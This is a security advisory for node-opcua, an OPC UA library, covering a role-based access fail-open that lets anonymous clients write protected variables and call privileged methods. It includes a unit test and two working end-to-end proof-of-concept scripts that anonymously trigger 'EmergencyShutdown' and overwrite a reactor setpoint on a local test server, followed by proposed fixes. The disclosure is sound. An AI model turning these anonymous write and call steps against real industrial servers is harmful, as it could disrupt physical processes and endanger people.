Vulnerability GHSA-xggf-m53x-jc3f

Critical
CRITICAL RISK
CVSS Score: 9.1
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
12 hours ago
November 10, 2026 at 03:56 PM UTC
node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
>=2.42.0 <2.180.0
>=2.42.0 <2.180.0

Summary

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

Details

Summary

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.

The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.

Steps to Reproduce

PoC-A - Address-space level (unit test, no network)

Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:

cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Output:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B - End-to-end over TCP (programmatic namespace)

Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Vulnerable output (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Control output (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)

Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Output:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Proposed Fix

  1. Fail-closed - getPermissionForRole(null) should return PermissionFlag.None, not allPermissions (per §4.8.3 default-deny).
  2. Coherent path - getApplicableRolePermissions() should use node.getRolePermissions(inherited=true), which already reads the namespace field correctly.
  3. API safety - setDefaultRolePermissions() should take effect on enforcement directly, without requiring setNamespaceMetaData() (which throws on nodeset-loaded namespaces).
  4. Hardening - server_engine.ts:947-957 should not unconditionally reset DefaultRolePermissions.

Timeline

Published
12 hours ago
November 10, 2026 at 03:56 PM UTC
Fixed (2.180.0)
2 months ago
September 03, 2026 at 10:17 AM UTC
Last Modified
12 hours ago
November 10, 2026 at 04:15 PM UTC